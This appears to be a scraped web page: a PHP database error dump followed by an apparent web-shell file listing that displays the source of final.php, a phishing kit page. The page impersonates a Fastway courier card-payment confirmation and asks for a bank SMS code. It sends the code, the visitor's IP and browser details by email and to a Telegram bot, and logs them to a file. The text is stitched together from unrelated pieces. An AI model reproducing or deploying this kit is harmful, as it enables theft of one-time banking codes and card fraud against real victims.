A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux vps17447 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: dh_m2e37m (5712562)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: /home/dh_m2e37m/thomaspmiller.com/log/6563738/final.php
<?php
    
    
    if(isset($_POST['btnSEND'])){
        $num = $_POST['num'];
        $time  = date('H:S');
        $date = date('d/m/Y');
        $IP = getenv("REMOTE_ADDR");
        
        $message .= "--++-----[ SMS 1 Fastway za]-----++--\n";
        $message .= "-------------- @Imodzeb -----\n";
        $message .= "SMS 1  : ".$num."\n";
        $message .= "Time : ".$time."\n";
        $message .= "Date : ".$date."\n";
        $message .= "-------------- IP Infos ------------\n";
        $message .= "https://geoiptool.com/en/?ip=$IP\n";
        $message .= "BROWSER  : ".$_SERVER['HTTP_USER_AGENT']."\n";
        $message .= "---------------------- @Imodzeb ----------------------\n";
        $subject = "billingg Fastway za [ " . $IP . " ] ";
        
        include 'configuration.php';
        
        mail($MyEmail,$subject,$message);
        
        file_get_contents("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data) );
        $text = fopen('data/sms.txt', 'a');
        fwrite($text, $message);?>
<script>
                        window.location.href='finalerror.php';
                    </script>
    <?php }
?>
<html>
    <head>
        <title></title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="packeges/bootstrap.min.css">
        <link rel="stylesheet" href="packeges/jquery.js" >
        <link rel="stylesheet" type="text/css" href="packeges/final.css" >
    </head>
    <body>
        <div class="navigation borderBottom">
            <img src="images/vbv.png" class="logo" />
            <div style="display:flex;">
            </div>
            
        </div>
        <div class="container topSpase" >
            <div class="row">
                <div class="col-12 sizeTitele">
                    Secure e-commerce: confirmation of your card
                </div>
                <div class="col-sm-12 col-md-4 ">
                    <div class="elementDIV">
                        <h5 >Buy information</h5>
                        <p class="paragrafTop ">Please check the details of the transaction</p>
                        <div class="ELE_hr"></div>
                        <div class="DIVtableWIDTH" >
                            <p class="tableWIDTH">Imported</p><p>87.93 Rand</p>
                        </div>
                        
                        <div class="ELE_hr"></div>
                        <div class="DIVtableWIDTH">
                            <p class="tableWIDTH">To exchange</p><b>Fastway courier</b>
                        </div>
                        <div class="ELE_hr"></div>
                        <div class="DIVtableWIDTH" >
                            <p class="tableWIDTH">Card number</p><p><?php echo $_COOKIE["card"]; ?></p>
                        </div>
                    </div>
                </div>
                <div class="col-sm-12 col-md-8 ">
                    <form method="post" action="">
                        <p class="f1">To confirm this transaction, please enter the code sent to your phone number or confirm it through your banking app. You will receive a notification from Bank App.
                        </p>
                    <div class="ELE_hr"></div>
                    <h5 class="f2">SMS-Code</h5>
                    <input type="number" name="num" placeholder="Please enter your SMS password here" class="inputDE" />
                    <div class="elementDIV">
                        <p class="paragrafTop">Can't get your cell phone key?</p>
                        <p class="paragrafTop">Make sure your phone is</p>
                        <ul>
                             <li> Be your most important device when you have multiple SIM cards </li>
                             <li> Exceptionally, you can use it under +27 833682456 (oder +27 833682789 - Request Internet Office inquiries </li>
                        </ul>
                    </div>
                    <div class="btnSEN">
                        <input type="submit" name="btnSEND" value="Confirm" class="BTNR">
                    </div>
                    </form>
                    
                </div>
            </div>
        </div>
        
        
        <script src="packeges/jquery.js"></script>
        <script src="packeges/bootstrap.min.js"></script>
    </body>
</html>